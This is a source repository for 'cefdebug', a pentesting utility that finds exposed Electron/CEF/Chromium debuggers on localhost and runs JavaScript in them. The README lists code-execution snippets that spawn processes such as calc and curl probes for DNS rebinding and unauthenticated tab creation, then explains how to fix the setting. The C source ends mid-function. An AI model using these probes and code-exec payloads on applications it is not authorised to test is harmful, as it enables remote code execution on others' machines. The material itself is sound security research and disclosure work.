├── .gitignore ├── .gitmodules ├── .zipignore ├── GNUmakefile ├── GNUmakefile.linux ├── LICENSE ├── README.md ├── cefdebug.c ├── cefscan.h ├── evaluate.c ├── ports.c ├── version.rc └── wsurls.c /.gitignore: -------------------------------------------------------------------------------- 1 | # Prerequisites 2 | *.d 3 | 4 | # Object files 5 | *.o 6 | *.ko 7 | *.obj 8 | *.elf 9 | 10 | # Linker output 11 | *.ilk 12 | *.map 13 | *.exp 14 | 15 | # Precompiled Headers 16 | *.gch 17 | *.pch 18 | 19 | # Libraries 20 | *.lib 21 | *.a 22 | *.la 23 | *.lo 24 | 25 | # Shared objects (inc. Windows DLLs) 26 | *.dll 27 | *.so 28 | *.so.* 29 | *.dylib 30 | *.res 31 | 32 | # Executables 33 | *.exe 34 | *.out 35 | *.app 36 | *.i*86 37 | *.x86_64 38 | *.hex 39 | 40 | # Debug files 41 | *.dSYM/ 42 | *.su 43 | *.idb 44 | *.pdb 45 | 46 | # Kernel Module Compile Results 47 | *.mod* 48 | *.cmd 49 | .tmp_versions/ 50 | modules.order 51 | Module.symvers 52 | Mkfile.old 53 | dkms.conf 54 | 55 | lws_config.h 56 | *.sw? 57 | -------------------------------------------------------------------------------- /.gitmodules: -------------------------------------------------------------------------------- 1 | [submodule "libwebsockets"] 2 | path = libwebsockets 3 | url = https://github.com/warmcat/libwebsockets.git 4 | [submodule "wineditline"] 5 | path = wineditline 6 | url = https://github.com/winlibs/wineditline.git 7 | -------------------------------------------------------------------------------- /.zipignore: -------------------------------------------------------------------------------- 1 | */.git/* 2 | */*/.git/* 3 | */.vscode/* 4 | */*.obj 5 | */*.pdb 6 | */*.lib 7 | */*.ilk 8 | */*.xml 9 | */*.idb 10 | */*.til 11 | */*.nam 12 | */*.id0 13 | */*.id1 14 | */*.id2 15 | */*.res 16 | */*.zip 17 | */.*.sw? 18 | */.swp 19 | */*.ipdb 20 | */*.iobj 21 | */*.log 22 | */archive/* 23 | */.vscode 24 | */build-*.lib/* 25 | */*.zip 26 | */*.exe 27 | */*.dll 28 | */*.tmp 29 | -------------------------------------------------------------------------------- /GNUmakefile: -------------------------------------------------------------------------------- 1 | CC=cl.exe 2 | RC=rc.exe 3 | MSBUILD=msbuild.exe 4 | CMAKE=cmake.exe 5 | RFLAGS=/nologo 6 | CFLAGS=/nologo /Zi /Od /MD /FS /I libwebsockets/include 7 | LFLAGS=/nologo /machine:x86 8 | VFLAGS=-no_logo 9 | MFLAGS=/p:Configuration=Release /nologo /m /v:q 10 | CXXFLAGS=/nologo /Zi /Od /EHsc /MD /FS 11 | LDLIBS=iphlpapi ws2_32 edit websockets 12 | LDFLAGS=/MD 13 | LINKFLAGS=/ignore:4099 14 | VSDEVCMD=cmd.exe /c vsdevcmd.bat 15 | 16 | # Commands for arch specific compiler. 17 | ifeq ($(OS),Windows_NT) 18 | CC64=$(VSDEVCMD) $(VFLAGS) -arch=amd64 ^& cl 19 | CC32=$(VSDEVCMD) $(VFLAGS) -arch=x86 ^& cl 20 | else 21 | CC64=$(VSDEVCMD) $(VFLAGS) -arch=amd64 "&" cl 22 | CC32=$(VSDEVCMD) $(VFLAGS) -arch=x86 "&" cl 23 | endif 24 | 25 | .PHONY: clean distclean 26 | 27 | all: cefdebug.exe 28 | 29 | release: cefdebug.zip cefdebug-src.zip 30 | 31 | %.res: %.rc 32 | $(RC) $(RFLAGS) $< 33 | 34 | %.obj: %.cc 35 | $(CC) $(CXXFLAGS) /c /Fo:$@ $< 36 | 37 | %.obj: %.c 38 | $(CC) $(CFLAGS) /c /Fo:$@ $< 39 | 40 | %.exe: %.obj 41 | $(CC) $(CFLAGS) $(LDFLAGS) /Fe:$@ $^ /link $(LINKFLAGS) $(LDLIBS:=.lib) 42 | 43 | %.dll: %.obj 44 | $(CC) $(CFLAGS) $(LDFLAGS) /LD /Fe:$@ $^ /link $(LINKFLAGS) 45 | 46 | %64.obj: %.c 47 | $(CC) $(CFLAGS) /c /Fd:$(@:.obj=.pdb) /Fo:$@ $< 48 | 49 | %32.obj: %.c 50 | $(CC) $(CFLAGS) /c /Fd:$(@:.obj=.pdb) /Fo:$@ $< 51 | 52 | %64.dll: CC=$(CC64) 53 | %64.dll: %64.obj version.res 54 | $(CC) $(CFLAGS) $(LDFLAGS) /LD /Fd:$(@:.dll=.pdb) /Fe:$@ $^ /link $(LINKFLAGS) 55 | 56 | %32.dll: CC=$(CC32) 57 | %32.dll: %32.obj version.res 58 | $(CC) $(CFLAGS) $(LDFLAGS) /LD /Fd:$(@:.dll=.pdb) /Fe:$@ $^ /link $(LINKFLAGS) 59 | 60 | cefdebug.obj: | websockets.lib 61 | 62 | cefdebug.exe: version.res evaluate.obj wsurls.obj ports.obj cefdebug.obj | websockets.lib edit.lib 63 | 64 | websockets.lib: 65 | -$(CMAKE) -A Win32 -S libwebsockets -B build-$@ 66 | $(CMAKE) -A Win32 -ULWS_WITH_SSL -DLWS_WITH_SSL=OFF -S libwebsockets -B build-$@ 67 | $(MSBUILD) $(MFLAGS) build-$@/libwebsockets.sln 68 | cmd.exe /c copy build-$@\\lib\\Release\\websockets_static.lib $@ 69 | cmd.exe /c copy build-$@\\include\\lws_config.h lws_config.h 70 | 71 | edit.lib: 72 | $(CMAKE) -A Win32 -S wineditline -B build-$@ 73 | $(MSBUILD) $(MFLAGS) build-$@/WinEditLine.sln 74 | cmd.exe /c copy build-$@\\src\\Release\\edit_a.lib $@ 75 | 76 | clean: 77 | -cmd.exe /c del /q /f *.exp *.exe *.obj *.pdb *.ilk *.xml *.res *.ipdb *.iobj *.dll *.tmp 2\>nul 78 | -cmd.exe /c rmdir /q /s $(wildcard build-*.*) 2\>nul 79 | 80 | # These are slow to rebuild and I dont change them often. 81 | distclean: clean 82 | -cmd.exe /c del /q /f websockets.lib lws_config.h 83 | -cmd.exe /c del /q /f edit.lib 84 | 85 | cefdebug.zip: README.md cefdebug.exe 86 | (cd .. && zip -r cefdebug/$@ $(patsubst %,cefdebug/%,$^)) 87 | 88 | cefdebug-src.zip: 89 | (cd .. && zip -x@cefdebug/.zipignore -r cefdebug/$@ cefdebug) 90 | -------------------------------------------------------------------------------- /GNUmakefile.linux: -------------------------------------------------------------------------------- 1 | CFLAGS=-ggdb3 -O0 2 | CPPFLAGS=`pkg-config --cflags readline,libwebsockets` 3 | LDLIBS=`pkg-config --libs readline,libwebsockets` 4 | 5 | .PHONY: clean 6 | 7 | cefdebug: evaluate.o wsurls.o ports.o cefdebug.o 8 | 9 | clean: 10 | rm -f cefdebug *.o 11 | -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | Apache License 2 | Version 2.0, January 2004 3 | http://www.apache.org/licenses/ 4 | 5 | TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION 6 | 7 | 1. Definitions. 8 | 9 | "License" shall mean the terms and conditions for use, reproduction, 10 | and distribution as defined by Sections 1 through 9 of this document. 11 | 12 | "Licensor" shall mean the copyright owner or entity authorized by 13 | the copyright owner that is granting the License. 14 | 15 | "Legal Entity" shall mean the union of the acting entity and all 16 | other entities that control, are controlled by, or are under common 17 | control with that entity. For the purposes of this definition, 18 | "control" means (i) the power, direct or indirect, to cause the 19 | direction or management of such entity, whether by contract or 20 | otherwise, or (ii) ownership of fifty percent (50%) or more of the 21 | outstanding shares, or (iii) beneficial ownership of such entity. 22 | 23 | "You" (or "Your") shall mean an individual or Legal Entity 24 | exercising permissions granted by this License. 25 | 26 | "Source" form shall mean the preferred form for making modifications, 27 | including but not limited to software source code, documentation 28 | source, and configuration files. 29 | 30 | "Object" form shall mean any form resulting from mechanical 31 | transformation or translation of a Source form, including but 32 | not limited to compiled object code, generated documentation, 33 | and conversions to other media types. 34 | 35 | "Work" shall mean the work of authorship, whether in Source or 36 | Object form, made available under the License, as indicated by a 37 | copyright notice that is included in or attached to the work 38 | (an example is provided in the Appendix below). 39 | 40 | "Derivative Works" shall mean any work, whether in Source or Object 41 | form, that is based on (or derived from) the Work and for which the 42 | editorial revisions, annotations, elaborations, or other modifications 43 | represent, as a whole, an original work of authorship. For the purposes 44 | of this License, Derivative Works shall not include works that remain 45 | separable from, or merely link (or bind by name) to the interfaces of, 46 | the Work and Derivative Works thereof. 47 | 48 | "Contribution" shall mean any work of authorship, including 49 | the original version of the Work and any modifications or additions 50 | to that Work or Derivative Works thereof, that is intentionally 51 | submitted to Licensor for inclusion in the Work by the copyright owner 52 | or by an individual or Legal Entity authorized to submit on behalf of 53 | the copyright owner. For the purposes of this definition, "submitted" 54 | means any form of electronic, verbal, or written communication sent 55 | to the Licensor or its representatives, including but not limited to 56 | communication on electronic mailing lists, source code control systems, 57 | and issue tracking systems that are managed by, or on behalf of, the 58 | Licensor for the purpose of discussing and improving the Work, but 59 | excluding communication that is conspicuously marked or otherwise 60 | designated in writing by the copyright owner as "Not a Contribution." 61 | 62 | "Contributor" shall mean Licensor and any individual or Legal Entity 63 | on behalf of whom a Contribution has been received by Licensor and 64 | subsequently incorporated within the Work. 65 | 66 | 2. Grant of Copyright License. Subject to the terms and conditions of 67 | this License, each Contributor hereby grants to You a perpetual, 68 | worldwide, non-exclusive, no-charge, royalty-free, irrevocable 69 | copyright license to reproduce, prepare Derivative Works of, 70 | publicly display, publicly perform, sublicense, and distribute the 71 | Work and such Derivative Works in Source or Object form. 72 | 73 | 3. Grant of Patent License. Subject to the terms and conditions of 74 | this License, each Contributor hereby grants to You a perpetual, 75 | worldwide, non-exclusive, no-charge, royalty-free, irrevocable 76 | (except as stated in this section) patent license to make, have made, 77 | use, offer to sell, sell, import, and otherwise transfer the Work, 78 | where such license applies only to those patent claims licensable 79 | by such Contributor that are necessarily infringed by their 80 | Contribution(s) alone or by combination of their Contribution(s) 81 | with the Work to which such Contribution(s) was submitted. If You 82 | institute patent litigation against any entity (including a 83 | cross-claim or counterclaim in a lawsuit) alleging that the Work 84 | or a Contribution incorporated within the Work constitutes direct 85 | or contributory patent infringement, then any patent licenses 86 | granted to You under this License for that Work shall terminate 87 | as of the date such litigation is filed. 88 | 89 | 4. Redistribution. You may reproduce and distribute copies of the 90 | Work or Derivative Works thereof in any medium, with or without 91 | modifications, and in Source or Object form, provided that You 92 | meet the following conditions: 93 | 94 | (a) You must give any other recipients of the Work or 95 | Derivative Works a copy of this License; and 96 | 97 | (b) You must cause any modified files to carry prominent notices 98 | stating that You changed the files; and 99 | 100 | (c) You must retain, in the Source form of any Derivative Works 101 | that You distribute, all copyright, patent, trademark, and 102 | attribution notices from the Source form of the Work, 103 | excluding those notices that do not pertain to any part of 104 | the Derivative Works; and 105 | 106 | (d) If the Work includes a "NOTICE" text file as part of its 107 | distribution, then any Derivative Works that You distribute must 108 | include a readable copy of the attribution notices contained 109 | within such NOTICE file, excluding those notices that do not 110 | pertain to any part of the Derivative Works, in at least one 111 | of the following places: within a NOTICE text file distributed 112 | as part of the Derivative Works; within the Source form or 113 | documentation, if provided along with the Derivative Works; or, 114 | within a display generated by the Derivative Works, if and 115 | wherever such third-party notices normally appear. The contents 116 | of the NOTICE file are for informational purposes only and 117 | do not modify the License. You may add Your own attribution 118 | notices within Derivative Works that You distribute, alongside 119 | or as an addendum to the NOTICE text from the Work, provided 120 | that such additional attribution notices cannot be construed 121 | as modifying the License. 122 | 123 | You may add Your own copyright statement to Your modifications and 124 | may provide additional or different license terms and conditions 125 | for use, reproduction, or distribution of Your modifications, or 126 | for any such Derivative Works as a whole, provided Your use, 127 | reproduction, and distribution of the Work otherwise complies with 128 | the conditions stated in this License. 129 | 130 | 5. Submission of Contributions. Unless You explicitly state otherwise, 131 | any Contribution intentionally submitted for inclusion in the Work 132 | by You to the Licensor shall be under the terms and conditions of 133 | this License, without any additional terms or conditions. 134 | Notwithstanding the above, nothing herein shall supersede or modify 135 | the terms of any separate license agreement you may have executed 136 | with Licensor regarding such Contributions. 137 | 138 | 6. Trademarks. This License does not grant permission to use the trade 139 | names, trademarks, service marks, or product names of the Licensor, 140 | except as required for reasonable and customary use in describing the 141 | origin of the Work and reproducing the content of the NOTICE file. 142 | 143 | 7. Disclaimer of Warranty. Unless required by applicable law or 144 | agreed to in writing, Licensor provides the Work (and each 145 | Contributor provides its Contributions) on an "AS IS" BASIS, 146 | WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or 147 | implied, including, without limitation, any warranties or conditions 148 | of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A 149 | PARTICULAR PURPOSE. You are solely responsible for determining the 150 | appropriateness of using or redistributing the Work and assume any 151 | risks associated with Your exercise of permissions under this License. 152 | 153 | 8. Limitation of Liability. In no event and under no legal theory, 154 | whether in tort (including negligence), contract, or otherwise, 155 | unless required by applicable law (such as deliberate and grossly 156 | negligent acts) or agreed to in writing, shall any Contributor be 157 | liable to You for damages, including any direct, indirect, special, 158 | incidental, or consequential damages of any character arising as a 159 | result of this License or out of the use or inability to use the 160 | Work (including but not limited to damages for loss of goodwill, 161 | work stoppage, computer failure or malfunction, or any and all 162 | other commercial damages or losses), even if such Contributor 163 | has been advised of the possibility of such damages. 164 | 165 | 9. Accepting Warranty or Additional Liability. While redistributing 166 | the Work or Derivative Works thereof, You may choose to offer, 167 | and charge a fee for, acceptance of support, warranty, indemnity, 168 | or other liability obligations and/or rights consistent with this 169 | License. However, in accepting such obligations, You may act only 170 | on Your own behalf and on Your sole responsibility, not on behalf 171 | of any other Contributor, and only if You agree to indemnify, 172 | defend, and hold each Contributor harmless for any liability 173 | incurred by, or claims asserted against, such Contributor by reason 174 | of your accepting any such warranty or additional liability. 175 | 176 | END OF TERMS AND CONDITIONS 177 | 178 | APPENDIX: How to apply the Apache License to your work. 179 | 180 | To apply the Apache License to your work, attach the following 181 | boilerplate notice, with the fields enclosed by brackets "[]" 182 | replaced with your own identifying information. (Don't include 183 | the brackets!) The text should be enclosed in the appropriate 184 | comment syntax for the file format. We also recommend that a 185 | file or class name and description of purpose be included on the 186 | same "printed page" as the copyright notice for easier 187 | identification within third-party archives. 188 | 189 | Copyright [yyyy] [name of copyright owner] 190 | 191 | Licensed under the Apache License, Version 2.0 (the "License"); 192 | you may not use this file except in compliance with the License. 193 | You may obtain a copy of the License at 194 | 195 | http://www.apache.org/licenses/LICENSE-2.0 196 | 197 | Unless required by applicable law or agreed to in writing, software 198 | distributed under the License is distributed on an "AS IS" BASIS, 199 | WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 200 | See the License for the specific language governing permissions and 201 | limitations under the License. 202 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # cefdebug 2 | 3 | This is a minimal commandline utility and/or reference code for using 4 | libwebsockets to connect to an electron/CEF/chromium debugger. 5 | 6 | You're probably thinking, "who would enable the debugger in shipping products?". 7 | Well, it turns out just about everyone shipping electron or CEF has made this 8 | mistake at least once. 9 | 10 | In some configurations, you can pop a shell remotely just by making a victim 11 | click a link. 12 | 13 | Example: https://bugs.chromium.org/p/project-zero/issues/detail?id=773 14 | 15 | In older versions, you could pop a shell remotely using DNS rebinding. 16 | 17 | Example: https://bugs.chromium.org/p/project-zero/issues/detail?id=1742 18 | 19 | Example: https://bugs.chromium.org/p/project-zero/issues/detail?id=1946 20 | 21 | In current versions, you can compromise other local users or escape sandboxes. 22 | 23 | Example: https://bugs.chromium.org/p/project-zero/issues/detail?id=1944 24 | 25 | It happens so often, that I thought pentesters might find it useful to have some 26 | code easily available to interact with them. 27 | 28 | # Usage 29 | 30 | First, scan the local machine 31 | 32 | ``` 33 | $ ./cefdebug.exe 34 | [2019/10/04 16:18:56:7288] U: There are 3 tcp sockets in state listen. 35 | [2019/10/04 16:18:56:7766] U: There were 1 servers that appear to be CEF debuggers. 36 | [2019/10/04 16:18:56:7816] U: ws://127.0.0.1:3585/5a9e3209-3983-41fa-b0ab-e739afc8628a 37 | ``` 38 | 39 | Now you can send commands to that `ws://` URL. 40 | 41 | ``` 42 | $ ./cefdebug.exe --url ws://127.0.0.1:3585/5a9e3209-3983-41fa-b0ab-e739afc8628a --code "process.version" 43 | [2019/10/04 16:35:06:2645] U: >>> process.version 44 | [2019/10/04 16:35:06:2685] U: <<< v10.11.0 45 | ``` 46 | 47 | Alternatively, you can start a simple interactive shell. 48 | 49 | ``` 50 | $ ./cefdebug.exe --url ws://127.0.0.1:3585/5a9e3209-3983-41fa-b0ab-e739afc8628a 51 | >>> ['hello', 'world'].join(' ') 52 | [2019/10/04 16:36:31:0964] U: <<< hello world 53 | >>> a = 1024 54 | [2019/10/04 16:36:44:5250] U: <<< 1024 55 | >>> a * 2 56 | [2019/10/04 16:36:48:3005] U: <<< 2048 57 | >>> quit 58 | ``` 59 | 60 | ### Known Examples 61 | 62 | Here are a list of code snippets I've seen that allow code exec in different electron 63 | applications. 64 | 65 | `process.mainModule.require('child_process').exec('calc')` 66 | 67 | `window.appshell.app.openURLInDefaultBrowser("c:/windows/system32/calc.exe")` 68 | 69 | `require('child_process').spawnSync('calc.exe')` 70 | 71 | `Browser.open(JSON.stringify({url: "c:\\windows\\system32\\calc.exe"}))` 72 | 73 | ### Notes 74 | Here are things to test if you find a debugger. 75 | 76 | * Does it prevent [DNS rebinding](https://en.wikipedia.org/wiki/DNS_rebinding)? 77 | 78 | `$ curl -H 'Host: example.com' -si 'http://127.0.0.1:9234/json/list'` 79 | 80 | 🚨 If that works (i.e. json response), this is **remotely** exploitable. 🚨 81 | 82 | Newer versions of chromium require that the Host header match `localhost` or an 83 | IP address to prevent this. If this works, the application you're looking at is 84 | based on an older version of chromium, and leaving the debugger enabled can be 85 | **remotely** exploited. You have found a critical vulnerability and should 86 | report it urgently. 87 | 88 | * Is the `new` command functioning? 89 | 90 | `$ curl -si 'http://127.0.0.1:9234/json/new?javascript:alert(1)'` 91 | 92 | 🔥🚨 If that works (i.e. a json response), this is **easily** **remotely** exploitable. 🚨🔥 93 | 94 | This command requires no authentication, and has no CSRF protection. Just 95 | `` in a website is 96 | enough to exploit it. Even if the port is randomized, it can be brute forced 97 | easily. 98 | 99 | This is a very critical vulnerability, and should be reported urgently. 100 | 101 | # Solution 102 | 103 | If you maintain a CEF project and you've noticed you're vulnerable to this 104 | attack, you probably need to change this setting in your `cef_settings_t` 105 | for production builds: 106 | 107 | https://magpcss.org/ceforum/apidocs3/projects/(default)/_cef_settings_t.html#remote_debugging_port 108 | 109 | In electron, it's possible you're doing something like: 110 | 111 | `app.commandLine.appendSwitch('remote-debugging-port'...)` 112 | 113 | If you're using node, perhaps you're using `--inspect` on child processes. 114 | 115 | https://nodejs.org/de/docs/guides/debugging-getting-started/#security-implications 116 | 117 | # Building 118 | 119 | ## Windows 120 | 121 | > If you don't want to build it yourself, check out the [releases](https://github.com/taviso/cefdebug/releases) tab 122 | 123 | I used [GNU make](http://gnuwin32.sourceforge.net/packages/make.htm) and Visual 124 | Studio 2019 to develop `cefdebug`. 125 | 126 | If all the dependencies are installed, just typing `make` in a developer command 127 | prompt should be enough. 128 | 129 | I use the "Build Tools" variant of Visual Studio, and the only components I have 130 | selected are MSVC, MSBuild, CMake and the SDK. 131 | 132 | This project uses submodules for some of the dependencies, be sure that you're 133 | using a command like this to fetch all the required code. 134 | 135 | ``` 136 | git submodule update --init --recursive 137 | ``` 138 | ## Linux 139 | 140 | The main depdencies are libwebsockets and libreadline. 141 | 142 | On Fedora, try: 143 | 144 | `yum install readline-devel libwebsockets-devel openssl-devel` 145 | 146 | If the dependencies are intalled, try `make -f GNUmakefile.linux` 147 | 148 | ## Embedding 149 | 150 | The code is intended to be simple enough to embed in other pentesting tools. 151 | 152 | # Authors 153 | 154 | Tavis Ormandy 155 | 156 | # License 157 | 158 | All original code is Apache 2.0, See LICENSE file for details. 159 | 160 | The following components are imported third party projects. 161 | 162 | * [wineditline](http://mingweditline.sourceforge.net/), by Paolo Tosco. 163 | * wineditline is used to implement user friendly command-line input and 164 | history editing. 165 | * [libwebsockets](https://libwebsockets.org), by Andy Green et al. 166 | * libwebsockets is a portable c implementation of HTML5 websockets. 167 | -------------------------------------------------------------------------------- /cefdebug.c: -------------------------------------------------------------------------------- 1 | #include 2 | 3 | #if defined(_WIN32) 4 | # include 5 | # include 6 | # include 7 | # include "wineditline/src/editline/readline.h" 8 | #elif defined(__linux__) 9 | # include 10 | # include 11 | #endif 12 | 13 | #include "libwebsockets.h" 14 | 15 | #include "cefscan.h" 16 | 17 | void print_usage(const char *name) 18 | { 19 | lwsl_err("usage: %s [--code=CODE] [--url=URL]\n", name); 20 | } 21 | 22 | int main(int argc, const char **argv) 23 | { 24 | uint16_t *portlist; 25 | char **wsurls; 26 | char *result; 27 | char *line; 28 | void *handle; 29 | const char *url, *code; 30 | 31 | //lws_set_log_level(LLL_USER | LLL_ERR | LLL_WARN | LLL_NOTICE | LLL_INFO, NULL); 32 | lws_set_log_level(LLL_USER | LLL_ERR | LLL_WARN | LLL_NOTICE, NULL); 33 | 34 | url = lws_cmdline_option(argc, argv, "--url"); 35 | code = lws_cmdline_option(argc, argv, "--code"); 36 | 37 | if (lws_cmdline_option(argc, argv, "-h") 38 | || lws_cmdline_option(argc, argv, "-u") 39 | || lws_cmdline_option(argc, argv, "-v")) { 40 | print_usage(*argv); 41 | return 1; 42 | } 43 | 44 | // If no URL or code specified, scan for debuggers. 45 | if (!url && !code) { 46 | int32_t count; 47 | 48 | count = get_listening_ports("127.0.0.1", &portlist); 49 | 50 | lwsl_user("There are %d tcp sockets in state listen.\n", count); 51 | 52 | if (count <= 0) 53 | return 0; 54 | 55 | count = get_websocket_urls("127.0.0.1", portlist, &wsurls); 56 | 57 | lwsl_user("There were %d servers that appear to be CEF debuggers.\n", count); 58 | 59 | if (count >= 0) { 60 | for (int i = 0; i < count; i++) { 61 | lwsl_user("%s\n", wsurls[i]); 62 | free(wsurls[i]); 63 | } 64 | } 65 | 66 | free(wsurls); 67 | free(portlist); 68 | } 69 | 70 | // If URL, but no code, then enter interactive mode. 71 | if (url && !code) { 72 | handle = dbg_open_handle(url); 73 | 74 | while ((line = readline(">>> "))) { 75 | 76 | if (strcmp(line, "quit") == 0) 77 | break; 78 | 79 | result = dbg_eval_expression(handle, line); 80 | 81 | lwsl_user("<<< %s\n", result); 82 | 83 | add_history(line); 84 | 85 | rl_free(line); 86 | } 87 | 88 | dbg_close_handle(handle); 89 | } 90 | 91 | // If URL and code, enter evaluation mode. 92 | if (url && code) { 93 | handle = dbg_open_handle(url); 94 | 95 | result = dbg_eval_expression(handle, code); 96 | 97 | dbg_close_handle(handle); 98 | 99 | lwsl_user(">>> %s\n", code); 100 | lwsl_user("<<< %s\n", result); 101 | 102 | free(result); 103 | } 104 | 105 | return 0; 106 | } 107 | -------------------------------------------------------------------------------- /cefscan.h: -------------------------------------------------------------------------------- 1 | #ifndef __CEFSCAN_H 2 | #define __CEFSCAN_H 3 | 4 | // Discover listening debuggers. 5 | int32_t get_listening_ports(const char *localaddr, uint16_t **portlist); 6 | int32_t get_websocket_urls(char *hostname, uint16_t *portlist, char **wsurls[]); 7 | 8 | // Open and interact with debuggers. 9 | void *dbg_open_handle(const char *wsurl); 10 | void dbg_close_handle(void *handle); 11 | char *dbg_eval_expression(void *handle, const char *expression); 12 | 13 | #endif 14 | -------------------------------------------------------------------------------- /evaluate.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | #include 6 | #if defined(_WIN32) 7 | # include 8 | # include 9 | #endif 10 | 11 | #include "libwebsockets.h" 12 | 13 | #include "cefscan.h" 14 | 15 | // The command to enable evaluation. 16 | static const char kRuntimeEnable[] = "{" 17 | "\"id\": %d," 18 | "\"method\": \"Runtime.enable\"" 19 | "}"; 20 | 21 | // The command to perform evluation. 22 | static const char kRuntimeEvaluate[] = "{" 23 | "\"id\": %d," 24 | "\"method\": \"Runtime.evaluate\"," 25 | "\"params\": {" 26 | "\"expression\": \"eval(unescape('%s'))\"}" 27 | "}"; 28 | 29 | static int callback_default_ws(struct lws *wsi, 30 | enum lws_callback_reasons reason, 31 | void *user, 32 | void *in, 33 | size_t len); 34 | 35 | static const struct lws_protocols wsprotocols[] = { 36 | { "default", callback_default_ws, 0, 0 }, 37 | { 0 } 38 | }; 39 | 40 | #pragma pack(push) 41 | #pragma pack(1) 42 | struct dbg_context_handle { 43 | int msgid; 44 | int size; 45 | int pending; 46 | struct lws *ctx; 47 | char pre_buf[LWS_PRE]; 48 | char message[1024]; 49 | char *result; 50 | char *description; 51 | }; 52 | #pragma pack(pop) 53 | 54 | 55 | static signed char callback_json_ws(struct lejp_ctx *ctx, char reason) 56 | { 57 | struct dbg_context_handle *handle = ctx->user; 58 | 59 | if (reason != LEJPCB_VAL_STR_END && reason != LEJPCB_VAL_NUM_INT) 60 | return 0; 61 | 62 | lwsl_info("ws inspecting key %s\n", ctx->path); 63 | 64 | if (strcmp(ctx->path, "result.result.value") == 0) { 65 | handle->result = strdup(ctx->buf); 66 | } 67 | 68 | if (strcmp(ctx->path, "result.result.description") == 0) { 69 | handle->description = strdup(ctx->buf); 70 | } 71 | 72 | if (strcmp(ctx->path, "id") == 0) { 73 | lwsl_info("id %s\n", ctx->buf); 74 | 75 | if (strtoul(ctx->buf, NULL, 0) == handle->msgid) { 76 | handle->pending = false; 77 | handle->msgid++; 78 | } 79 | } 80 | 81 | return 0; 82 | } 83 | 84 | static char *url_escape_string(const char *str) 85 | { 86 | char *result = calloc(strlen(str) * 3 + 1, 1); 87 | 88 | for (char *p = result; *str; str++) { 89 | if (isalnum(*str)) { 90 | *p++ = *str; 91 | } else { 92 | p += sprintf(p, "%%%02hhX", *str); 93 | } 94 | } 95 | 96 | return result; 97 | } 98 | 99 | 100 | static uint32_t ActiveConnect; 101 | 102 | static int callback_default_ws(struct lws *wsi, 103 | enum lws_callback_reasons reason, 104 | void *user, 105 | void *in, 106 | size_t len) 107 | { 108 | struct dbg_context_handle *handle = user; 109 | 110 | switch (reason) { 111 | // Update number of active connections. 112 | case LWS_CALLBACK_WSI_DESTROY: 113 | ActiveConnect--; 114 | break; 115 | case LWS_CALLBACK_WSI_CREATE: 116 | ActiveConnect++; 117 | break; 118 | case LWS_CALLBACK_CLIENT_RECEIVE: { 119 | struct lejp_ctx jsctx; 120 | 121 | lwsl_info("client %p received message \"%s\"\n", wsi, in); 122 | 123 | lejp_construct(&jsctx, callback_json_ws, user, NULL, 0); 124 | lejp_parse(&jsctx, in, len); 125 | lejp_destruct(&jsctx); 126 | break; 127 | } 128 | case LWS_CALLBACK_CLIENT_WRITEABLE: { 129 | lwsl_info("client %p is writeable, %d pending\n", wsi, handle->size); 130 | 131 | if (handle->size > 0) { 132 | lwsl_info("write \"%s\" to client %p\n", handle->message, wsi); 133 | lws_write(wsi, handle->message, handle->size, LWS_WRITE_TEXT); 134 | handle->size = 0; 135 | } 136 | 137 | if (handle->size < 0) 138 | return -1; 139 | break; 140 | } 141 | } 142 | 143 | return lws_callback_http_dummy(wsi, reason, user, in, len); 144 | } 145 | 146 | void *dbg_open_handle(const char *wsurl) 147 | { 148 | struct lws_context *wscontext = NULL; 149 | struct lws_client_connect_info conn = {0}; 150 | struct dbg_context_handle *handle = NULL; 151 | struct lws_context_creation_info wsinfo = { 152 | .port = CONTEXT_PORT_NO_LISTEN, 153 | .protocols = wsprotocols, 154 | }; 155 | 156 | lwsl_info("dbg_open_handle(\"%s\");\n", wsurl); 157 | 158 | if (wsurl == NULL) { 159 | goto error; 160 | } 161 | 162 | if (strncmp(wsurl, "ws://127.0.0.1:", 15) != 0) { 163 | lwsl_info("does not appear to be a debugger url\n"); 164 | goto error; 165 | } 166 | 167 | wscontext = lws_create_context(&wsinfo); 168 | handle = calloc(sizeof(*handle), 1); 169 | 170 | // Skip to port 171 | wsurl += strlen("ws://127.0.0.1:"); 172 | 173 | #pragma warning(suppress: 4090) 174 | conn.port = strtoul(wsurl, &wsurl, 10); 175 | conn.context = wscontext; 176 | conn.address = "127.0.0.1"; 177 | conn.host = "127.0.0.1"; 178 | conn.path = wsurl; 179 | conn.alpn = "http/1.1"; 180 | conn.protocol = "http"; 181 | 182 | conn.userdata = handle; 183 | handle->ctx = lws_client_connect_via_info(&conn); 184 | 185 | lwsl_info("port %d, path %s, ctx %p\n", conn.port, conn.path, handle->ctx); 186 | 187 | handle->pending = true; 188 | handle->size = lws_snprintf(handle->message, 189 | sizeof (handle->message), 190 | kRuntimeEnable, 191 | handle->msgid); 192 | 193 | lws_callback_on_writable(handle->ctx); 194 | lws_service(wscontext, 0); 195 | 196 | return handle; 197 | 198 | error: 199 | if (wscontext) 200 | lws_context_destroy(wscontext); 201 | 202 | free(handle); 203 | return NULL; 204 | } 205 | 206 | void dbg_close_handle(void *handle) 207 | { 208 | struct dbg_context_handle *dbg = handle; 209 | struct lws_context *ctx; 210 | 211 | lwsl_info("dbg_close_handle(%p);\n", dbg); 212 | 213 | if (handle == NULL) 214 | goto error; 215 | 216 | if (dbg->ctx == NULL) 217 | goto error; 218 | 219 | if ((ctx = lws_get_context(dbg->ctx)) == NULL) 220 | goto error; 221 | 222 | // If there is a message still waiting to be sent, or 223 | // a response hasn't been received, just keep calling 224 | // lws_service(). 225 | while (dbg->size || dbg->pending) 226 | lws_service(ctx, 0); 227 | 228 | // Indicate we want to terminate the connection. 229 | dbg->size = -1; 230 | 231 | do { 232 | lws_callback_on_writable(dbg->ctx); 233 | } while (lws_service(ctx, 0) >= 0 && ActiveConnect); 234 | 235 | // Cleanup. 236 | lws_context_destroy(ctx); 237 | 238 | error: 239 | return; 240 | } 241 | 242 | 243 | char *dbg_eval_expression(void *handle, const char *expression) 244 | { 245 | struct dbg_context_handle *dbg = handle; 246 | char *escaped = NULL; 247 | char *result = NULL; 248 | 249 | 